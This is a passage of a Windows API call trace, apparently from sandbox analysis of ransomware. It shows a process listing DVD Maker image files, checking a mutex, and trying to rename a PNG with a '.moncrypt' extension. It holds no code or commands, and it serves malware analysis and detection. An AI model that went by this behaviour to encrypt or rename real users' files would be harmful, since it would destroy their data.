lpLocalFileTime=0x18ea84) returned 1 [0057.802] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.802] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.802] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.802] GlobalUnlock (hMem=0x440004) returned 0 [0057.802] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.802] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.802] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.802] GlobalUnlock (hMem=0x440004) returned 0 [0057.803] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.803] GlobalUnlock (hMem=0x44000c) returned 0 [0057.803] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.803] CharLowerBuffW (in: lpsz="NavigationUp_SelectionSubpicture.png", cchLength=0x24 | out: lpsz="navigationup_selectionsubpicture.png") returned 0x24 [0057.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.804] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.804] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0057.804] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.804] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.804] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.804] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0057.805] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.805] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png.moncrypt")) returned 0 [0057.805] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.805] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.805] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.805] GlobalUnlock (hMem=0x44000c) returned 0 [0057.806] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.806] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.806] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.806] GlobalUnlock (hMem=0x44000c) returned 0 [0057.806] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.806] GlobalUnlock (hMem=0x440004) returned 0 [0057.806] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43a07c20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43a07c20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0057.806] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0057.806] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.806] GlobalLock (hMem=0x440004) returned 0x550170 [0057.806] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.806] GlobalUnlock (hMem=0x440004) returned 0 [0057.806] GlobalLock (hMem=0x440004) returned 0x550170 [0057.806] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.806] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.806] GlobalUnlock (hMem=0x440004) returned 0 [0057.806] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.806] GlobalUnlock (hMem=0x44000c) returned 0 [0057.806] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.806] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43a07c20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43a07c20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.806] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.806] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.807] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.807] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.807] GlobalUnlock (hMem=0x44000c) returned 0 [0057.807] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.807] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.807] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.807] GlobalUnlock (hMem=0x44000c) returned 0 [0057.807] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.807] GlobalUnlock (hMem=0x440004) returned 0 [0057.807] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.807] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0057.807] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.807] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.807] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.807] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.807] GlobalUnlock (hMem=0x440004) returned 0 [0057.807] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.807] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.807] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.807] GlobalUnlock (hMem=0x440004) returned 0 [0057.807] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.807] GlobalUnlock (hMem=0x44000c) returned 0 [0057.807] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.807] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c60bc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c60bc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0057.807] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.807] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.807] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.807] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.807] GlobalUnlock (hMem=0x44000c) returned 0 [0057.808] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.808] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.808] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.808] GlobalUnlock (hMem=0x44000c) returned 0 [0057.808] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.808] GlobalUnlock (hMem=0x440004) returned 0 [0057.808] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.808] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c1490f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c1490f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars60.png", cAlternateFileName="")) returned 1 [0057.808] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.808] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.808] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.808] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.808] GlobalUnlock (hMem=0x440004) returned 0 [0057.808] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.808] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.808] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.808] GlobalUnlock (hMem=0x440004) returned 0 [0057.808] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.808] GlobalUnlock (hMem=0x44000c) returned 0 [0057.808] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.808] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70abdcca, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70abdcca, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fed, dwReserved0=0x0, dwReserved1=0x0, cFileName="layers.png", cAlternateFileName="")) returned 1 [0057.808] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.808] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.808] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.808] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.808] GlobalUnlock (hMem=0x44000c) returned 0 [0057.808] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.809] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.809] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.809] GlobalUnlock (hMem=0x44000c) returned 0 [0057.809] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.809] GlobalUnlock (hMem=0x440004) returned 0 [0057.809] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.809] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.809] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.809] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.809] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.809] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.809] GlobalUnlock (hMem=0x440004) returned 0 [0057.809] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.809] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.809] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.809] GlobalUnlock (hMem=0x440004) returned 0 [0057.809] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.809] GlobalUnlock (hMem=0x44000c) returned 0 [0057.809] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.809] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.809] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.809] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.809] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.809] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.809] GlobalUnlock (hMem=0x44000c) returned 0 [0057.809] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.809] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.809] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.809] GlobalUnlock (hMem=0x44000c) returned 0 [0057.810] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.810] GlobalUnlock (hMem=0x440004) returned 0 [0057.810] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.810] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.810] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.810] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.810] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.810] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.810] GlobalUnlock (hMem=0x440004) returned 0 [0057.810] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.810] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.810] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.810] GlobalUnlock (hMem=0x440004) returned 0 [0057.810] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.810] GlobalUnlock (hMem=0x44000c) returned 0 [0057.810] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.810] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b300e1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b300e1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.810] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.810] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.810] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.810] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.810] GlobalUnlock (hMem=0x44000c) returned 0 [0057.810] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.810] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.810] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.810] GlobalUnlock (hMem=0x44000c) returned 0 [0057.810] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.811] GlobalUnlock (hMem=0x440004) returned 0 [0057.811] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.811] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ae3e27, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ae3e27, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.811] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.811] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.811] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.811] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.811] GlobalUnlock (hMem=0x440004) returned 0 [0057.811] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.811] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.811] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.811] GlobalUnlock (hMem=0x440004) returned 0 [0057.811] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.811] GlobalUnlock (hMem=0x44000c) returned 0 [0057.811] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.811] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.811] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.811] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.811] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.811] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.811] GlobalUnlock (hMem=0x44000c) returned 0 [0057.811] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.811] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.811] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.811] GlobalUnlock (hMem=0x44000c) returned 0 [0057.811] GlobalHandle (pMem=0x557b88) returned 0x440004 